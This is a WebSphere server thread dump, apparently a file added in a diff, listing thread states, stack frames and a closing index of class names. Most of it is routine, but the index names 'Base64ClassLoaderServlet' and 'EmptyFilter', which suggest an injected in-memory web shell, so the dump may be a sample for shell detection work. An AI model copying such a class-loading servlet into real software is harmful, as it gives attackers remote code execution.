java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"GC Worker" #15 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"JIT Compilation Thread-000" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ServerSocket[addr=0.0.0.0/0.0.0.0,localport=8880]" #67 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:450) + at java.net.ServerSocket.implAccept(ServerSocket.java:623) + at java.net.ServerSocket.accept(ServerSocket.java:582) + at com.ibm.ws.http.HttpTransport.run(HttpTransport.java:569) + at java.lang.Thread.run(Thread.java:825) + +"HungThreadDetectorForNon-deferrable Alarm" #41 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleepImpl(Native Method) + at java.lang.Thread.sleep(Thread.java:977) + at java.lang.Thread.sleep(Thread.java:960) + at com.ibm.ejs.util.am.AlarmThreadMonitor$AlarmThreadCheckDetector.run(AlarmThreadMonitor.java:417) + at java.lang.Thread.run(Thread.java:825) + +"Timer-6" #58 daemon [WAITING] on java.util.TaskQueue@5e23f410 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at java.util.TimerThread.mainLoop(Timer.java:537) + at java.util.TimerThread.run(Timer.java:516) + +"GC Worker" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"NotificationServiceDispatcher : 0" #46 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74246431 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"WsSessionInvalidatorThread 90" #90 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40346770 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2089) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1104) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"Attach API wait loop" #26 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at openj9.internal.tools.attach.target.IPC.waitSemaphore(Native Method) + at openj9.internal.tools.attach.target.CommonDirectory.waitSemaphore(CommonDirectory.java:264) + at openj9.internal.tools.attach.target.WaitLoop.waitForNotification(WaitLoop.java:66) + at openj9.internal.tools.attach.target.WaitLoop.run(WaitLoop.java:157) + +"JIT Compilation Thread-004 Suspended" #6 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Thread-24" #65 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleepImpl(Native Method) + at java.lang.Thread.sleep(Thread.java:977) + at java.lang.Thread.sleep(Thread.java:960) + at com.ibm.ws.management.dragdrop.WatchService$Watcher.dosleep(WatchService.java:554) + at com.ibm.ws.management.dragdrop.WatchService$Watcher.run(WatchService.java:521) + +"LT=0:P=201350:O=0:port=9100" #62 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:450) + at java.net.ServerSocket.implAccept(ServerSocket.java:623) + at java.net.ServerSocket.accept(ServerSocket.java:582) + at com.ibm.rmi.transport.ListenerThread.run(ListenerThread.java:172) + +"server.startup : 2" #82 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2b592ac0 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"Thread-15" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2a11d309 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:453) + at com.ibm.ws.cluster.propagation.bulletinboard.BBDescriptionManager$UpdateThread.run(BBDescriptionManager.java:1070) + at java.lang.Thread.run(Thread.java:825) + +"NotificationServiceDispatcher : 2" #84 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74246431 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"LT=1:P=201350:O=0:port=2809" #66 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:450) + at java.net.ServerSocket.implAccept(ServerSocket.java:623) + at java.net.ServerSocket.accept(ServerSocket.java:582) + at com.ibm.rmi.transport.ListenerThread.run(ListenerThread.java:172) + +"WsSessionInvalidatorThread 98" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40346770 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"Deferred Alarm Manager" #42 daemon [TIMED_WAITING] on java.util.concurrent.ConcurrentSkipListMap@6e5b76a9 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:216) + at com.ibm.ejs.util.am.AlarmManagerThreadCSLM.run(AlarmManagerThreadCSLM.java:154) + at java.lang.Thread.run(Thread.java:825) + +"LocalNotificationServiceDispatcher : 1" #86 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5bc7704d + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"Worker-0" #35 [TIMED_WAITING] on org.eclipse.core.internal.jobs.WorkerPool@5896b75f + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:216) + at org.eclipse.core.internal.jobs.WorkerPool.sleep(WorkerPool.java:186) + at org.eclipse.core.internal.jobs.WorkerPool.startJob(WorkerPool.java:218) + at org.eclipse.core.internal.jobs.Worker.run(Worker.java:51) + +"ClassCache Reaper" #33 daemon [WAITING] on java.lang.ref.ReferenceQueue@f3b66a04 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:216) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:137) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:109) + at java.io.ClassCache$Reaper.run(ClassCache.java:222) + +"NotificationServiceDispatcher : 1" #83 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48133520 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"HungThreadDetectorForDeferrable Alarm" #40 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleepImpl(Native Method) + at java.lang.Thread.sleep(Thread.java:977) + at java.lang.Thread.sleep(Thread.java:960) + at com.ibm.ejs.util.am.AlarmThreadMonitor$AlarmThreadCheckDetector.run(AlarmThreadMonitor.java:417) + at java.lang.Thread.run(Thread.java:825) + +"Non-Deferred Alarm Manager" #43 daemon [TIMED_WAITING] on java.util.concurrent.ConcurrentSkipListMap@18474e08 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:216) + at com.ibm.ejs.util.am.AlarmManagerThreadCSLM.run(AlarmManagerThreadCSLM.java:154) + at java.lang.Thread.run(Thread.java:825) + +"Thread-10" #45 daemon [WAITING] on java.util.LinkedList@196063b0 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.ws.runtime.selectableBundles.AsyncFileOperations$WorkDispatcher.run(AsyncFileOperations.java:206) + at java.lang.Thread.run(Thread.java:825) + +"UsageMetering-thread-1" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@ec629868 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"PluginConfigService : 0" #107 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@30d1a29a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.take(BoundedBuffer.java:853) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"WsSessionInvalidatorThread 91" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40346770 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"GC Worker" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"NotificationServiceDispatcher : 5" #111 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48133520 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"JIT Compilation Thread-003 Suspended" #5 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"GC Worker" #14 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Thread-45" #109 daemon [TIMED_WAITING] on com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThreadDispatcher@29b6bbf7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:216) + at com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThreadDispatcher.hasWork(AbstractStatusCache.java:1506) + at com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThread.run(AbstractStatusCache.java:1584) + +"WebContainer : 0" #103 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at com.ibm.io.async.AsyncLibrary.aio_getioev3(Native Method) + at com.ibm.io.async.AsyncLibrary.getCompletionData3(AsyncLibrary.java:658) + at com.ibm.io.async.ResultHandler.runEventProcessingLoop(ResultHandler.java:530) + at com.ibm.io.async.ResultHandler$2.run(ResultHandler.java:905) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1892) + +"GC Worker" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"GC Worker" #17 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Framework Event Dispatcher" #32 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@86f7c840 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:397) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:333) + +"LocalNotificationServiceDispatcher : 2" #87 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a07f1f8 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"DCS Plugin Delivery Thread" #64 daemon [WAITING] on java.util.ArrayList@9525a2a0 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.ws.hamanager.coordinator.impl.DCSPluginSingleServerImpl$DeliveryThread.run(DCSPluginSingleServerImpl.java:361) + at java.lang.Thread.run(Thread.java:825) + +"Timer-4" #56 daemon [WAITING] on java.util.TaskQueue@ebd3a5fe + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at java.util.TimerThread.mainLoop(Timer.java:537) + at java.util.TimerThread.run(Timer.java:516) + +"LocalNotificationServiceDispatcher : 0" #85 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5bc7704d + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"AIO Timer Thread 1" #102 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleepImpl(Native Method) + at java.lang.Thread.sleep(Thread.java:977) + at java.lang.Thread.sleep(Thread.java:960) + at com.ibm.io.async.Timer.run(Timer.java:185) + +"Timer-2" #51 daemon [WAITING] on java.util.TaskQueue@e0a3ce20 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at java.util.TimerThread.mainLoop(Timer.java:537) + at java.util.TimerThread.run(Timer.java:516) + +"Deferrable Alarm : 0" #76 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@9ae1b881 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.take(BoundedBuffer.java:853) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"NotificationServiceDispatcher : 6" #112 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74246431 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"Thread-16" #53 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70047259 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:453) + at com.ibm.ws.cluster.propagation.bulletinboard.BBDescriptionManager$UpdateThread.run(BBDescriptionManager.java:1070) + at java.lang.Thread.run(Thread.java:825) + +"WebContainer : 1" #116 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at com.ibm.io.async.AsyncLibrary.aio_getioev3(Native Method) + at com.ibm.io.async.AsyncLibrary.getCompletionData3(AsyncLibrary.java:658) + at com.ibm.io.async.ResultHandler.runEventProcessingLoop(ResultHandler.java:530) + at com.ibm.io.async.ResultHandler$2.run(ResultHandler.java:905) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1892) + +"WsSessionInvalidatorThread 114" #114 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40346770 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"Thread-39" #101 [WAITING] on com.ibm.CORBA.iiop.KeepAlive@2b215ac1 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.CORBA.iiop.KeepAlive.run(UtilDelegateImpl.java:996) + +"WLMMonitorSleeper : 0" #54 daemon [WAITING] on java.util.TreeSet@6c794dd9 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.ws.wlm.threadmanager.SleeperThreadPool.run(SleeperThreadPool.java:264) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1892) + +"GC Worker" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"UsageMetering-thread-2" #75 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@ec629868 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2089) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1104) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"WMQJCAResourceAdapter : DMN0" #70 daemon [WAITING] on com.ibm.ejs.j2c.work.WorkScheduler@212a2eb1 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.ejs.j2c.work.WorkScheduler.run(WorkScheduler.java:127) + at java.lang.Thread.run(Thread.java:825) + +"GC Worker" #16 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.ibm.CORBA.iiop.KeepAlive +com.ibm.debug.DebugAppServerComponentImpl$ActionThread +com.ibm.ejs.j2c.work.WorkScheduler +com.ibm.ejs.util.am.AlarmManagerThreadCSLM +com.ibm.ejs.util.am.AlarmThreadMonitor$AlarmThreadCheckDetector +com.ibm.io.async.AbstractAsyncFuture +com.ibm.io.async.AsyncChannelFuture$1 +com.ibm.io.async.AsyncLibrary +com.ibm.io.async.ResultHandler +com.ibm.io.async.ResultHandler$2 +com.ibm.io.async.Timer +com.ibm.rmi.transport.ListenerThread +com.ibm.ws.cluster.propagation.bulletinboard.BBDescriptionManager$UpdateThread +com.ibm.ws.cluster.service.delaycache.DelayCacheManagementThread +com.ibm.ws.hamanager.coordinator.impl.DCSPluginSingleServerImpl$DeliveryThread +com.ibm.ws.hamanager.impl.UserCallbacks$WorkDispatcher +com.ibm.ws.http.HttpTransport +com.ibm.ws.http.channel.inbound.impl.HttpInboundLink +com.ibm.ws.management.dragdrop.WatchService$Watcher +com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThread +com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThreadDispatcher +com.ibm.ws.runtime.WsServer +com.ibm.ws.runtime.WsServerImpl +com.ibm.ws.runtime.selectableBundles.AsyncFileOperations$WorkDispatcher +com.ibm.ws.tcp.channel.impl.AioReadCompletionListener +com.ibm.ws.tcp.channel.impl.ChannelSelector +com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback +com.ibm.ws.timeutils.QuickApproxTimeT$TimeThread +com.ibm.ws.util.BoundedBuffer +com.ibm.ws.util.BoundedBuffer$GetQueueLock +com.ibm.ws.util.ThreadPool +com.ibm.ws.util.ThreadPool$Worker +com.ibm.ws.webcontainer.WSWebContainer +com.ibm.ws.webcontainer.WebContainer +com.ibm.ws.webcontainer.channel.WCChannelLink +com.ibm.ws.webcontainer.filter.FilterInstanceWrapper +com.ibm.ws.webcontainer.filter.WebAppFilterChain +com.ibm.ws.webcontainer.filter.WebAppFilterManager +com.ibm.ws.webcontainer.servlet.CacheServletWrapper +com.ibm.ws.webcontainer.servlet.ServletWrapper +com.ibm.ws.webcontainer.servlet.ServletWrapperImpl +com.ibm.ws.wlm.threadmanager.SleeperThreadPool 